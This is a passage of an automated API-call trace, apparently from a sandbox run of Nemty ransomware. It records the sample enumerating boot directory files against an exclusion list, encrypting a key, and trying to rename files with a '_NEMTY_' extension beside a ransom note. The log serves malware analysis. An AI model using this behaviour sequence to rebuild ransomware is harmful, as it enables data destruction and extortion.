hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0044.836] CloseHandle (hObject=0x3c0) returned 1 [0044.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0044.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.836] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345598 [0044.836] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xce6cbcb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce6cbcb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0044.837] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0044.837] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xce6cbcb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce6cbcb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.837] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0044.837] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0044.837] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0044.837] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0044.837] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0044.837] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="...") returned 1 [0044.837] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="windows") returned -1 [0044.837] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="$RECYCLE.BIN") returned 1 [0044.837] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="rsa") returned -1 [0044.837] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="NTDETECT.COM") returned -1 [0044.837] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntldr") returned -1 [0044.837] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="MSDOS.SYS") returned -1 [0044.837] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="IO.SYS") returned -1 [0044.837] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0044.837] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="boot.ini") returned 1 [0044.837] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="AUTOEXEC.BAT") returned 1 [0044.837] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="ntuser.dat") returned -1 [0044.837] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="desktop.ini") returned -1 [0044.837] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="CONFIG.SYS") returned -1 [0044.837] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="RECYCLER") returned -1 [0044.837] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="BOOTSECT.BAK") returned -1 [0044.837] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="bootmgr") returned 1 [0044.837] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="programdata") returned -1 [0044.837] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="appdata") returned 1 [0044.837] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0044.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0044.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f590, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0044.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0044.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f5e0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0044.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0044.838] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="bootmgr.exe.mui", cchWideChar=15, lpMultiByteStr=0x653f618, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bootmgr.exe.mui", lpUsedDefaultChar=0x0) returned 15 [0044.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0044.838] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345598 | out: hHeap=0x4f90000) returned 1 [0044.838] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0044.838] Sleep (dwMilliseconds=0x5) [0044.875] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xce717f70, dwHighDateTime=0x1d561e7)) [0044.875] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f4a4 | out: lpSystemTimeAsFileTime=0x653f4a4*(dwLowDateTime=0xce717f70, dwHighDateTime=0x1d561e7)) [0044.875] GetLastError () returned 0xb7 [0044.875] SetLastError (dwErrCode=0xb7) [0044.875] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0044.875] GetLastError () returned 0xb7 [0044.875] SetLastError (dwErrCode=0xb7) [0044.875] GetLastError () returned 0xb7 [0044.875] SetLastError (dwErrCode=0xb7) [0044.875] GetLastError () returned 0xb7 [0044.875] SetLastError (dwErrCode=0xb7) [0044.875] GetLastError () returned 0xb7 [0044.875] SetLastError (dwErrCode=0xb7) [0044.875] GetLastError () returned 0xb7 [0044.875] SetLastError (dwErrCode=0xb7) [0044.875] GetLastError () returned 0xb7 [0044.876] SetLastError (dwErrCode=0xb7) [0044.876] GetLastError () returned 0xb7 [0044.876] SetLastError (dwErrCode=0xb7) [0044.876] GetLastError () returned 0xb7 [0044.876] SetLastError (dwErrCode=0xb7) [0044.876] GetLastError () returned 0xb7 [0044.876] SetLastError (dwErrCode=0xb7) [0044.876] GetLastError () returned 0xb7 [0044.876] SetLastError (dwErrCode=0xb7) [0044.876] GetLastError () returned 0xb7 [0044.876] SetLastError (dwErrCode=0xb7) [0044.876] GetLastError () returned 0xb7 [0044.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0044.876] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0044.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0044.876] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653f2e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653f2e0*=0x100) returned 1 [0044.876] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x10, dwBufLen=0x100 | out: pbData=0x653f2e4*, pdwDataLen=0x653f2d0*=0x100) returned 1 [0044.876] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653f2dc | out: pszString=0x0, pcchString=0x653f2dc) returned 1 [0044.876] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94088 [0044.877] CryptBinaryToStringA (in: pbBinary=0x653f2e4, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94088, pcchString=0x653f2dc | out: pszString="qaE2vRNMJxORDCV/ryprf3BnFxrQnwm6ojO4EJslA7nRXGEvMivl93ulZBq42NjU\r\ngxeUEd30sTsPmq5+su1G81/1oh3fFIhW4WiUEadwoQbHJIxIyGspmo94mmitW70g\r\n+fhIJQPMXKj9le2xgM/dO8s0rsP/536qVfRbPFysx8dEebWIbnG18VRy20kW8OU3\r\n+f7GU2+FeNjN3kNZUQXcwjsMGIdOaPhBTDjBnDYKaIeDhlRrUKIWzjI056JAhRUL\r\njfj+GzbhYt37v1dvtRm/srWnIuXJyJgDIAqsYqDUI6Q5OLkyxnoKoJ+P7IAvhY7G\r\noyGlVH66ZJYPL5vMwrqtWA==\r\n", pcchString=0x653f2dc) returned 1 [0044.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x4f941f8 [0044.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0044.877] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0044.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0044.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94088 [0044.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340048 [0044.877] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0044.877] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653f530 | out: lpFileSize=0x653f530*=18150282790958436) returned 0 [0044.877] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6346d48 [0044.877] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.877] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51482802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.887] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.887] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.887] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51642802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.897] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.897] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.897] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51802802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.906] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.906] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.906] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.916] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.916] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.916] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.926] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.926] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.926] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.926] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.936] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.936] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.936] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.936] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.945] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.945] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.945] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.955] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.955] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.955] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.966] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.966] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.966] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.966] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.976] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.976] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.976] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.977] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.983] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.983] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.983] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0044.989] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.989] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.989] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0044.989] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0044.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0044.989] CloseHandle (hObject=0xffffffff) returned 0 [0044.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0044.989] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0044.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0044.989] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edd0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0044.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0044.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0044.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0044.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0044.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0044.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0044.990] MoveFileW (lpExistingFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), lpNewFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui._nemty_kgobjgd_")) returned 0 [0044.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0044.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0044.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0044.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0044.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0044.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0044.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0044.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0044.990] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce6cbcb0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xce6cbcb0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xce6cbcb0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0044.990] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0044.990] lstrcmpiW 